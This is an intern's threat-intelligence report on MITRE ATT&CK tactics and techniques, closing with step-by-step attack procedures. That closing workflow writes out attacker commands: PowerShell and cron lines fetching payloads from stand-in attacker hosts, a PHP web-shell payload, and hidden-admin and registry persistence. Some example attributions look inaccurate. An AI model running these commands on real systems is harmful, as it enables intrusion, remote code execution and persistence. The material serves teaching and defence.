# Proof Of Concept (POC) of Threat Intelligence

**NAME: NIKHIL SAINI**

**Intern ID: 440**

**Threat Intelligence** is the **process of gathering, analyzing, and using information** about current and potential cyber threats to **prevent, detect, and respond to cyberattacks** effectively. It provides **contextual insights** about attackers, their tools, their behavior (TTPs), and their motives, so that security teams can make informed decisions to protect systems, networks, and data.

In simple terms:

* **Tactic = Why** the attacker is doing something (objective).
* **Technique = How** the attacker is doing it (method).
* **Sub-technique = More specific 'how'**
* **Procedure = Real-life example of that technique in action.**

### **Key Elements of Threat Intelligence:**

* **Indicators of Compromise (IOCs):** Technical signs of an attack, like IP addresses, file hashes, URLs, etc.
* **Tactics, Techniques, and Procedures (TTPs):** Behavioral patterns of attackers. MITRE ATT&CK is based on these.
* **Threat Actors:** Information about hackers, cybercriminal groups, or state-sponsored attackers.
* **Motivations:** Why attackers are targeting specific organizations — financial gain, espionage, political disruption, etc.

## **Why Threat Intelligence Is Important**

Threat Intelligence plays a **critical role in modern cybersecurity** because it helps organizations **understand the threat landscape**, stay **one step ahead of attackers**, and **respond quickly and effectively** to cyber incidents. Let’s explore this in detail:

### **1. Proactive Defense**

Traditional security systems are often reactive—they act only **after** an attack occurs. Threat Intelligence allows an organization to be **proactive** by:

* Identifying potential threats **before** they strike.
* Blocking malicious IPs, domains, or files based on real-time threat feeds.
* Recognizing attack patterns and preparing countermeasures in advance.

### **2. Better Detection of Threats**

Threat Intelligence provides **contextual data** about known and emerging attack techniques. This enables:

* Faster and more accurate detection of suspicious activity.
* Reduction in false positives by understanding what *really* looks dangerous.
* Improved threat hunting by giving analysts a clear picture of attacker behavior (TTPs).

### **3. Faster Incident Response**

When an attack does occur, Threat Intelligence:

* Helps identify the **type of attack** and the **attacker’s goals**.
* Provides **playbooks** or **previous case studies** that can guide response teams.
* Speeds up decision-making by showing which systems are at risk and how to contain the threat.

### **4. ️ Improved Security Controls**

With insights from threat intelligence, organizations can:

* Update firewalls, antivirus, and intrusion detection systems (IDS/IPS) with the latest Indicators of Compromise (IOCs).
* Build or adjust **access controls**, **network segmentation**, and **data protection** policies.
* Tailor security training for employees based on the most common threats (e.g., phishing).

### **5. Targeted and Informed Defenses**

Every organization is different—and so are the threats they face. Threat Intelligence helps you:

* Focus on **relevant threats** (e.g., industries, regions, technologies targeted).
* Avoid wasting resources on low-risk issues.
* Prioritize risks that are most likely to affect your systems.

### **6. Understanding Adversaries**

### Threat Intelligence helps security teams understand:

* **Who** the attackers are (cybercriminals, hacktivists, state-sponsored groups).
* **What** tools and techniques they use (malware, phishing, ransomware, etc.).
* **Why** they’re targeting specific victims (e.g., money, espionage, data theft).

This knowledge is crucial for building long-term security strategies and defenses.

### **7. Collaboration and Sharing**

Threat Intelligence also fosters **information sharing** between organizations, governments, and security communities. This:

* Helps smaller organizations benefit from large-scale threat research.
* Creates a **collective defense** where everyone learns from each attack.

### **All MITRE ATT&CK Matrices with Explanations**

|  |  |  |  |
| --- | --- | --- | --- |
| **No.** | **Matrix Name** | **Domain / Environment** | **Explanation** |
| 1️ | **Enterprise ATT&CK** | IT (Windows, macOS, Linux, Cloud, SaaS) | Primary matrix with 14 tactics covering attacks on traditional and cloud IT infrastructure. |
| 2️ | **Mobile ATT&CK** | Mobile Devices (Android, iOS) | Focuses on threats targeting smartphones and tablets using the same 14 tactics as Enterprise. |
| 3️ | **ICS ATT&CK** | Industrial Systems (SCADA, PLCs, HMIs) | Models attacks on operational technology with 12 tactics including physical disruption. |
| 4️ | **PRE-ATT&CK** *(Retired)* | Pre-Compromise Phase | Covered pre-attack planning like OSINT, target profiling. Now merged into Recon & Resource Dev. |
| 5️ | **MITRE ATLAS** | AI/ML Systems | Maps threats to machine learning, including model evasion, poisoning, and model theft. |
| 6 | **Automotive Threat Matrix** | Connected Vehicles (CAN, ECU, Telematics) | Custom tactics for vehicle hacking such as firmware tampering or remote injection. |
| 7️ | **Cloud Matrix** | Cloud Platforms (AWS, Azure, GCP, SaaS) | ATT&CK-style mapping of cloud-specific threats like IAM misuse and misconfigurations. |
| 8 | **Container/Kubernetes Matrix** | Containers, Docker, Kubernetes | Container-specific threats like API abuse, poisoned images, and container escapes. |
| 9 | **DevOps Threat Matrix** | CI/CD Pipelines, GitHub, Azure DevOps | DevOps-specific attack paths such as poisoned builds and leaked secrets in pipelines. |
| 10 | **Cloud Storage Threat Matrix** | S3, Azure Blob, GCP Buckets | Threats involving object storage misuse, including public exposure and data exfiltration. |

# Tactics (Why)

**Tactics** are the **strategic objectives** of an attacker. Each tactic represents a **phase** in the attack lifecycle, such as gaining access, running code, stealing credentials, or moving laterally through a network.

## According to [**MITRE ATT&CK** :](https://www.bing.com/ck/a?!&&p=c555c6ccb45a28ef79335ee1c047e3ee4e5614b1bd7d68f0f6c4446ca6a2378fJmltdHM9MTc1MzgzMzYwMA&ptn=3&ver=2&hsh=4&fclid=220029a9-546c-6c17-2a0c-3f90550e6de9&psq=mitre+attack&u=a1aHR0cHM6Ly9hdHRhY2subWl0cmUub3JnLw&ntb=1)

* Enterprise
* Mobile
* ICS

## 1.Enterprise Tacktics

**Enterprise Tactics** are the **high-level strategic goals or objectives** that an adversary (attacker) tries to achieve during different phases of a cyberattack against enterprise systems. Each tactic represents a **specific stage in the attack lifecycle**, showing **why** a certain behavior or action is performed by the attacker—not how it is done.

|  |  |  |
| --- | --- | --- |
| **ID** | **Name** | **Description** |
| [TA0043](https://attack.mitre.org/tactics/TA0043) | [Reconnaissance](https://attack.mitre.org/tactics/TA0043) | The adversary is trying to gather information they can use to plan future operations. |
| [TA0042](https://attack.mitre.org/tactics/TA0042) | [Resource Development](https://attack.mitre.org/tactics/TA0042) | The adversary is trying to establish resources they can use to support operations. |
| [TA0001](https://attack.mitre.org/tactics/TA0001) | [Initial Access](https://attack.mitre.org/tactics/TA0001) | The adversary is trying to get into your network. |
| [TA0002](https://attack.mitre.org/tactics/TA0002) | [Execution](https://attack.mitre.org/tactics/TA0002) | The adversary is trying to run malicious code. |
| [TA0003](https://attack.mitre.org/tactics/TA0003) | [Persistence](https://attack.mitre.org/tactics/TA0003) | The adversary is trying to maintain their foothold. |
| [TA0004](https://attack.mitre.org/tactics/TA0004) | [Privilege Escalation](https://attack.mitre.org/tactics/TA0004) | The adversary is trying to gain higher-level permissions. |
| [TA0005](https://attack.mitre.org/tactics/TA0005) | [Defense Evasion](https://attack.mitre.org/tactics/TA0005) | The adversary is trying to avoid being detected. |
| [TA0006](https://attack.mitre.org/tactics/TA0006) | [Credential Access](https://attack.mitre.org/tactics/TA0006) | The adversary is trying to steal account names and passwords. |
| [TA0007](https://attack.mitre.org/tactics/TA0007) | [Discovery](https://attack.mitre.org/tactics/TA0007) | The adversary is trying to figure out your environment. |
| [TA0008](https://attack.mitre.org/tactics/TA0008) | [Lateral Movement](https://attack.mitre.org/tactics/TA0008) | The adversary is trying to move through your environment. |
| [TA0009](https://attack.mitre.org/tactics/TA0009) | [Collection](https://attack.mitre.org/tactics/TA0009) | The adversary is trying to gather data of interest to their goal. |
| [TA0011](https://attack.mitre.org/tactics/TA0011) | [Command and Control](https://attack.mitre.org/tactics/TA0011) | The adversary is trying to communicate with compromised systems to control them. |
| [TA0010](https://attack.mitre.org/tactics/TA0010) | [Exfiltration](https://attack.mitre.org/tactics/TA0010) | The adversary is trying to steal data. |
| [TA0040](https://attack.mitre.org/tactics/TA0040) | [Impact](https://attack.mitre.org/tactics/TA0040) | The adversary is trying to manipulate, interrupt, or destroy your systems and data. |

## Role of Enterprise Tactics in Cybersecurity:

|  |  |
| --- | --- |
| **Role** | **Importance** |
| **Framework Design** | Tactics organize the full matrix of techniques in MITRE ATT&CK. |
| **Threat Analysis** | Helps analysts understand an attacker’s **intent** at each stage of an intrusion. |
| **Blue Teaming** | Enables defenders to **map security controls and alerts** to specific tactics. |
| **Red Teaming** | Helps ethical hackers simulate realistic attack behaviors based on attacker goals. |
| **Threat Intelligence** | Used to classify and share adversary behaviors using a common language. |

### **Tactics in Attack Lifecycle:**

Enterprise Tactics are **mapped to real-world attack stages**, such as:

* Gaining access → **Initial Access**
* Running malware → **Execution**
* Staying hidden → **Defense Evasion**
* Stealing data → **Exfiltration**
* Damaging systems → **Impact**

## 2. Mobile Tactics

**Mobile Tactics** represent the **strategic objectives** an attacker wants to achieve when attacking a mobile device. These are not specific methods (that's for techniques), but rather the **stage or purpose** behind an attack action.

|  |  |  |
| --- | --- | --- |
| **ID** | **Name** | **Description** |
| [TA0027](https://attack.mitre.org/tactics/TA0027) | [Initial Access](https://attack.mitre.org/tactics/TA0027) | The adversary is trying to get into your device. |
| [TA0041](https://attack.mitre.org/tactics/TA0041) | [Execution](https://attack.mitre.org/tactics/TA0041) | The adversary is trying to run malicious code. |
| [TA0028](https://attack.mitre.org/tactics/TA0028) | [Persistence](https://attack.mitre.org/tactics/TA0028) | The adversary is trying to maintain their foothold. |
| [TA0029](https://attack.mitre.org/tactics/TA0029) | [Privilege Escalation](https://attack.mitre.org/tactics/TA0029) | The adversary is trying to gain higher-level permissions. |
| [TA0030](https://attack.mitre.org/tactics/TA0030) | [Defense Evasion](https://attack.mitre.org/tactics/TA0030) | The adversary is trying to avoid being detected. |
| [TA0031](https://attack.mitre.org/tactics/TA0031) | [Credential Access](https://attack.mitre.org/tactics/TA0031) | The adversary is trying to steal account names, passwords, or other secrets that enable access to resources. |
| [TA0032](https://attack.mitre.org/tactics/TA0032) | [Discovery](https://attack.mitre.org/tactics/TA0032) | The adversary is trying to figure out your environment. |
| [TA0033](https://attack.mitre.org/tactics/TA0033) | [Lateral Movement](https://attack.mitre.org/tactics/TA0033) | The adversary is trying to move through your environment. |
| [TA0035](https://attack.mitre.org/tactics/TA0035) | [Collection](https://attack.mitre.org/tactics/TA0035) | The adversary is trying to gather data of interest to their goal. |
| [TA0037](https://attack.mitre.org/tactics/TA0037) | [Command and Control](https://attack.mitre.org/tactics/TA0037) | The adversary is trying to communicate with compromised devices to control them. |
| [TA0036](https://attack.mitre.org/tactics/TA0036) | [Exfiltration](https://attack.mitre.org/tactics/TA0036) | The adversary is trying to steal data. |
| [TA0034](https://attack.mitre.org/tactics/TA0034) | [Impact](https://attack.mitre.org/tactics/TA0034) | The adversary is trying to manipulate, interrupt, or destroy your devices and data. |
| [TA0038](https://attack.mitre.org/tactics/TA0038) | [Network Effects](https://attack.mitre.org/tactics/TA0038) | The adversary is trying to intercept or manipulate network traffic to or from a device. |
| [TA0039](https://attack.mitre.org/tactics/TA0039) | [Remote Service Effects](https://attack.mitre.org/tactics/TA0039) | The adversary is trying to control or monitor the device using remote services. |

### **Example Scenario (Android Malware):**

Let’s walk through a mobile attack lifecycle using tactics:

1. **Reconnaissance**: Attacker researches victims on social media.
2. **Resource Development**: Creates fake banking app with malware.
3. **Initial Access**: Victim downloads the app from a third-party store.
4. ️ **Execution**: App runs and installs background services.
5. **Persistence**: App auto-starts after reboot using RECEIVE\_BOOT\_COMPLETED.
6. **Privilege Escalation**: App exploits vulnerability to gain root.
7. **Defense Evasion**: Hides icon and uses encrypted C2 communication.
8. **Credential Access**: App mimics login screen to steal banking credentials.
9. **Discovery**: Reads contact list and device metadata.
10. **C2 Communication**: Sends logs and commands from C2 server.
11. **Exfiltration**: Uploads credentials and screenshots to attacker server.
12. **Impact**: Locks the device and demands ransom.

## **Why Mobile Tactics Matter:**

|  |  |
| --- | --- |
| **Benefit** | **Explanation** |
| **Structured Defense** | Security teams can design mobile-specific defenses based on each tactic stage. |
| **Threat Analysis** | Helps understand real-world attacker behavior in mobile environments. |
| ️ **Detection Mapping** | Tactics support the mapping of security tools (like EDR, antivirus) to attacker goals. |
| **Awareness & Training** | Educates users and developers about mobile threats and attacker strategies. |

### **Example Techniques per Tactic:**

|  |  |  |
| --- | --- | --- |
| **Tactic** | **Technique Example** | **ID** |
| Initial Access | Drive-by Compromise | T1456 |
| Execution | Exploitation for Client Execution | T1406 |
| Credential Access | Input Capture via Keylogging | T1417 |
| Persistence | Modify System Partition | T1409 |
| Exfiltration | Exfiltration Over Cellular Network |  |

## 3. ISC Tactics

**ICS Tactics** describe the **intent or purpose** of attacker behaviors during various stages of a cyberattack on industrial control systems.  
 They are the **top layer** of the MITRE ATT&CK for ICS Matrix, organizing **techniques and sub-techniques** used by threat actors to compromise and manipulate industrial operations.

|  |  |  |
| --- | --- | --- |
| **ID** | **Name** | **Description** |
| [TA0108](https://attack.mitre.org/tactics/TA0108) | [Initial Access](https://attack.mitre.org/tactics/TA0108) | The adversary is trying to get into your ICS environment. |
| [TA0104](https://attack.mitre.org/tactics/TA0104) | [Execution](https://attack.mitre.org/tactics/TA0104) | The adversary is trying to run code or manipulate system functions, parameters, and data in an unauthorized way. |
| [TA0110](https://attack.mitre.org/tactics/TA0110) | [Persistence](https://attack.mitre.org/tactics/TA0110) | The adversary is trying to maintain their foothold in your ICS environment. |
| [TA0111](https://attack.mitre.org/tactics/TA0111) | [Privilege Escalation](https://attack.mitre.org/tactics/TA0111) | The adversary is trying to gain higher-level permissions. |
| [TA0103](https://attack.mitre.org/tactics/TA0103) | [Evasion](https://attack.mitre.org/tactics/TA0103) | The adversary is trying to avoid security defenses. |
| [TA0102](https://attack.mitre.org/tactics/TA0102) | [Discovery](https://attack.mitre.org/tactics/TA0102) | The adversary is locating information to assess and identify their targets in your environment. |
| [TA0109](https://attack.mitre.org/tactics/TA0109) | [Lateral Movement](https://attack.mitre.org/tactics/TA0109) | The adversary is trying to move through your ICS environment. |
| [TA0100](https://attack.mitre.org/tactics/TA0100) | [Collection](https://attack.mitre.org/tactics/TA0100) | The adversary is trying to gather data of interest and domain knowledge on your ICS environment to inform their goal. |
| [TA0101](https://attack.mitre.org/tactics/TA0101) | [Command and Control](https://attack.mitre.org/tactics/TA0101) | The adversary is trying to communicate with and control compromised systems, controllers, and platforms with access to your ICS environment. |
| [TA0107](https://attack.mitre.org/tactics/TA0107) | [Inhibit Response Function](https://attack.mitre.org/tactics/TA0107) | The adversary is trying to prevent your safety, protection, quality assurance, and operator intervention functions from responding to a failure, hazard, or unsafe state. |
| [TA0106](https://attack.mitre.org/tactics/TA0106) | [Impair Process Control](https://attack.mitre.org/tactics/TA0106) | The adversary is trying to manipulate, disable, or damage physical control processes. |
| [TA0105](https://attack.mitre.org/tactics/TA0105) | [Impact](https://attack.mitre.org/tactics/TA0105) | The adversary is trying to manipulate, interrupt, or destroy your ICS systems, data, and their surrounding environment. |

## **Real-World Example: Stuxnet**

|  |  |
| --- | --- |
| **Phase** | **Action** |
| **Initial Access** | Infected USB drives introduced into nuclear facility systems. |
| **Execution** | Malware executed and searched for specific Siemens PLCs. |
| **Privilege Escalation** | Exploited zero-day vulnerabilities to gain higher access. |
| **Discovery** | Mapped out centrifuge control systems. |
| **Inhibit Response Function** | Disabled alarms so operators wouldn’t detect problems. |
| **Impair Process Control** | Sent false commands to speed up or slow down centrifuges. |
| **Impact** | Caused physical destruction of Iranian nuclear centrifuges. |

### **Why ICS Tactics Are Critical**

|  |  |
| --- | --- |
| **Reason** | **Explanation** |
| **Protecting Critical Infrastructure** | ICS attacks can stop power grids, water supply, or manufacturing plants—causing national emergencies. |
| **Real-World Safety** | ICS failures can cause explosions, fires, or chemical leaks that harm human life. |
| **Different Environment** | ICS systems use legacy protocols, long device life cycles, and often lack modern security. |
| **Low Detection** | ICS attackers focus on stealth and long-term control rather than quick data theft. |

### **Use Cases of ICS Tactics in Security:**

* **Threat Modeling**: Understanding how adversaries might attack a facility like a power plant.
* **Red Team Exercises**: Simulating real ICS attack scenarios for testing defenses.
* **Blue Team Defenses**: Monitoring specific behaviors tied to tactics like “Inhibit Response Function” or “Impair Process Control.”
* **Threat Intel Sharing**: Using shared language to describe ICS-specific threats (e.g., in ISAC reports).

# T**echnique** (How)

A **technique** is a **specific method or action** used by a threat actor (attacker) to achieve a particular **tactic**, which is a high-level goal like gaining access, stealing credentials, or executing code.

While a **tactic** explains **what** the attacker wants to do (e.g., "steal credentials"), the **technique** explains **how** they actually do it (e.g., "brute-force login attempts" or "credential dumping").

Tactic (Why)

↳ Technique (How)

↳ Sub-technique (More specific how)

↳ Procedure (Real-world example)

Example:

* **Tactic**: Credential Access (TA0006)
* **Technique**: Brute Force (T1110)
* **Sub-technique**: Password Guessing (T1110.001)
* **Procedure**: “APT28 used Hydra to brute-force RDP credentials.”

## **What Does a Technique Describe?**

* The **purpose** (e.g., steal data, hide presence, run code).
* The **method** (e.g., scripts, malware, physical device access).
* The **targets** (systems, apps, protocols).
* The **indicators** (IOCs: logs, changes, behaviors).
* The **platform** (Windows, macOS, Android, ICS, etc.)

## **Why Techniques Are Important:**

1. **Focus on Attacker Behavior**  
    Techniques help defenders understand real-world actions attackers take, beyond just tools or malware names.
2. **Improved Detection & Hunting**  
    Security teams use techniques to tune their tools (e.g., SIEM, EDR) to detect specific behaviors.
3. **Threat Intelligence Sharing**  
    Using standard techniques makes it easier to share information across organizations.
4. ️ **Red & Blue Team Planning**  
    Red teams simulate attack techniques to test defenses; blue teams build defenses based on known techniques.

## **1. Enterprise Techniques (MITRE ATT&CK Enterprise Matrix)**

### **1. T1059 – Command and Scripting Interpreter**

This technique allows attackers to run malicious scripts or commands using interpreters like PowerShell, Bash, or CMD. It is one of the most commonly used methods post-compromise.

**Example:** A hacker gains initial access through phishing and uses PowerShell to download and execute malware:

powershell

Invoke-WebRequest <http://malicious-server.com/payload.exe> -OutFile payload.exe  
Start-Process payload.exe

This was used by APT32 to execute commands and scripts on compromised endpoints.

### **2. T1566 – Phishing**

Attackers send deceptive emails to trick users into clicking malicious links or downloading malware-infected attachments. This is a common **Initial Access** technique.

**Example:** In the SolarWinds breach, spear-phishing emails were used to target employees, some of whom unknowingly executed malicious attachments that granted remote access to attackers.

### **3. T1204.002 – User Execution: Malicious File**

This technique involves luring users into opening a file (e.g., PDF, DOCX) with embedded malware.

**Example:** Attackers use a resume-themed document with a malicious macro. Once the user enables macros, the embedded script runs, downloading malware in the background.

### **4. T1003 – OS Credential Dumping**

Once attackers are inside the network, they may try to extract login credentials from memory.

**Example:** The use of **Mimikatz** to dump credentials from LSASS (Local Security Authority Subsystem Service) is a known case. These credentials are later used for lateral movement or privilege escalation.

### **5. T1486 – Data Encrypted for Impact (Ransomware)**

Attackers encrypt files on the victim's system to demand a ransom for decryption.

**Example:** In the **WannaCry** ransomware attack, systems across the globe were encrypted, and users were asked to pay Bitcoin to regain access to their data.

# **2. Mobile Techniques (MITRE ATT&CK Mobile Matrix)**

### **1. T1406 – Exploitation for Client Execution**

Attackers exploit vulnerabilities in mobile OS or apps to execute code.

**Example:** The **Stagefright exploit** for Android used malicious MMS messages to execute code without user interaction, affecting millions of devices.

### **2. T1417 – Input Capture (Keylogging)**

Attackers capture user input like passwords or PINs.

**Example:** Some trojanized banking apps use accessibility services to read everything typed on the device, effectively logging keystrokes and stealing banking credentials.

### **3. T1476 – Deliver Malicious App via App Store**

Attackers upload a malicious or trojanized app to official app stores.

**Example:** In 2017, Google had to remove dozens of apps infected with malware from the Play Store. One such malware, **Judy**, affected over 36 million Android devices worldwide.

### **4. T1409 – Modify System Partition**

Attackers modify system files to gain deeper control or persistence.

**Example:** Some rootkits install themselves directly into the /system partition on rooted Android devices, making it hard to remove them even after factory resets.

### **5. T1430 – Exfiltration Over Cellular Network**

Data is stolen and sent over cellular data rather than Wi-Fi to avoid detection.

**Example:** Advanced spyware apps like **FinFisher** or **Pegasus** exfiltrate audio recordings, images, and location data using encrypted channels over mobile data.

## **3. ICS Techniques (MITRE ATT&CK for Industrial Control Systems)**

### **1. T0806 – Valid Accounts**

Attackers use stolen or default usernames and passwords to access ICS systems.

**Example:** In many ICS environments, systems are shipped with default credentials like admin/admin. These are rarely changed and were exploited in **Industroyer** attacks against Ukraine’s power grid.

### **2. T0814 – Modify Control Logic**

The attacker changes how a PLC or DCS behaves, affecting real-world processes.

**Example:** In the **Stuxnet** attack, attackers reprogrammed centrifuges to spin at abnormal speeds while hiding the changes from operators. This caused physical damage without immediate detection.

### **3. T0859 – Firmware Modification**

Attackers replace or modify device firmware to insert backdoors or change behavior.

**Example:** The **TRITON malware** targeted firmware in Schneider Electric’s Triconex safety systems. Its goal was to disable physical safety features in critical infrastructure.

### **4. T0809 – Remote System Discovery**

After gaining access, attackers scan the network for other ICS devices.

**Example:** APT33 reportedly scanned for ICS-related ports like 502 (Modbus) and 44818 (EtherNet/IP) in industrial environments to map out control systems.

## **5. T0815 – Alarm Suppression**

Attackers disable or suppress safety alarms in HMIs or SCADA systems.

**Example:** In **Industroyer**, attackers were able to silence alarms and hide abnormal operations from control room operators, delaying response time to outages in the power gri**d.**

# **WORKFLOW**

## **Tactic: Initial Access**

Initial Access tactics represent how adversaries try to **gain a foothold inside a target network or system**. It’s often the **first step** in a cyberattack.

### **🛠️ Technique 1: T1566.002 – Spearphishing Link**

🔗 **MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1566/002>

### **Procedure:**

**Step 1:** Attacker crafts a fake HR email offering a salary revision.  
**Step 2:** Embeds a shortened malicious link:

<https://bit.ly/hr-policy-update>

**Step 3:** Link redirects to: http://attacker[.]com/hr\_policy.exe

**Step 4:** Victim clicks the link and unknowingly downloads the disguised malware.  
**Step 5:** The user executes the file manually, thinking it’s a document or software update.

### **Outcome:**

Malicious payload is executed. Attacker gains an initial foothold into the system with user-level privileges.

### **️ Technique 2: T1190 – Exploit Public-Facing Application**

**MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1190>

### **Procedure:**

**Step 1:** Attacker scans target organization’s web servers using tools like Nmap or Nikto to identify vulnerabilities.  
 **Step 2:** Finds an outdated WordPress plugin with known RCE vulnerability.  
 **Step 3:** Sends a specially crafted HTTP POST request:

http

POST /wp-content/plugins/vuln-plugin/upload.php HTTP/1.1  
Payload: <?php system($\_GET['cmd']); ?>

**Step 4:** Attacker gains a web shell on the server and executes commands like:

bash

<http://victim.com/upload/shell.php?cmd=whoami>

### **Outcome:**

Attacker gets remote command execution on the public-facing server, establishing a foothold.

### **Technique 3: T1133 – External Remote Services**

**MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1133>

### **Procedure:**

**Step 1:** Attacker identifies an exposed Remote Desktop Protocol (RDP) endpoint using Shodan or masscan.  
 **Step 2:** Uses credentials obtained from a data breach or password spraying attack.  
 **Step 3:** Connects via RDP:

bash

mstsc /v:203.0.113.10

**Step 4:** Gains interactive access to the system over the internet.

### **Outcome:**

Attacker logs in using valid credentials, bypassing need for malware or phishing. Gains full access to the remote desktop environment.

## **Tactic 2: Execution**

The Execution tactic involves **running malicious code** on a local or remote system after gaining initial access. It's how adversaries begin interacting with the system directly.

### **Technique 1: T1059.001 – Command and Scripting Interpreter: PowerShell**

**MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1059/001>

### **Procedure:**

**Step 1:** Attacker writes a PowerShell payload:

powershell

Invoke-WebRequest http://attacker[.]com/dropper.exe -OutFile dropper.exe; Start-Process dropper.exe

**Step 2:** Encodes the command in base64 and sends it to the victim via phishing:

powershell

powershell.exe -EncodedCommand <base64payload>

**Step 3:** Victim executes the script, either manually or via macro execution.

### **Outcome:**

PowerShell runs silently in memory, downloading and executing malware without dropping files detectable by antivirus.

### **️ Technique 2: T1203 – Exploitation for Client Execution**

**MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1203>

### **Procedure:**

**Step 1:** Attacker sends a PDF with an embedded JavaScript exploit (targeting CVE-2021-40444).  
 **Step 2:** Victim opens the PDF in an outdated PDF reader.  
 **Step 3:** The exploit launches a hidden command shell:

cmd

cmd.exe /c powershell -ExecutionPolicy Bypass -File payload.ps1

**Step 4:** Payload installs a remote access trojan.

### **Outcome:**

Victim is exploited without needing to enable macros or click further—leading to instant malware execution.

### **️ Technique 3: T1053.005 – Scheduled Task: Scheduled Task/Job**

🔗 **MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1053/005>

### **Procedure:**

**Step 1:** Attacker gains user access and creates a malicious .bat file:

cmd

echo powershell -File C:\Users\Public\payload.ps1 > C:\malware.bat

**Step 2:** Registers a Windows task to run it daily:

cmd

schtasks /create /tn "Updater" /tr "C:\malware.bat" /sc daily /st 06:00

**Step 3:** The task runs at 6:00 AM daily, ensuring continuous execution.

### **Outcome:**

Attacker’s script runs persistently every day, executing malware without user intervention.

## **Tactic 3: Persistence**

Persistence techniques allow adversaries to **maintain their foothold** even after reboots, logoffs, or detection efforts.

### **️ Technique 1: T1547.001 – Boot or Logon Autostart Execution: Registry Run Key**

**MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1547/001>

### **Procedure:**

**Step 1:** Attacker uploads malware to:

makefile

C:\Users\victim\AppData\Roaming\update.exe

**Step 2:** Modifies the registry:

cmd

reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /t REG\_SZ /d "C:\Users\victim\AppData\Roaming\update.exe"

**step 3:** On next reboot/login, malware auto-executes.

### **Outcome:**

Attacker maintains access even after the system restarts, avoiding detection by typical antivirus tools.

### **️ Technique 2: T1136.001 – Create Account: Local Account**

**MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1136/001>

### **Procedure:**

**Step 1:** Attacker gains admin access on a host.  
 **Step 2:** Creates a hidden user account:

cmd

net user hiddenuser Pass1234! /add  
net localgroup administrators hiddenuser /add

**Step 3:** Hides the user from login screen by registry edit:

c

reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\SpecialAccounts\UserList" /v hiddenuser /t REG\_DWORD /d 0

### **Outcome:**

Attacker can return anytime using the hidden admin account, without triggering standard detection alerts.

### **️ Technique 3: T1053.003 – Scheduled Task: Cron Job**

**MITRE ATT&CK Reference:** <https://attack.mitre.org/techniques/T1053/003>

### **Procedure:**

**Step 1:** Attacker compromises a Linux server via SSH.

**Step 2:** Adds a cron job:

bash

echo "@reboot /usr/bin/curl http://attacker[.]com/backdoor.sh | bash" >> /etc/crontab

**Step 3:** On next system reboot, the script is downloaded and run.

### **Outcome:**

Attacker regains remote access every time the system starts, ensuring long-term control over Linux environments.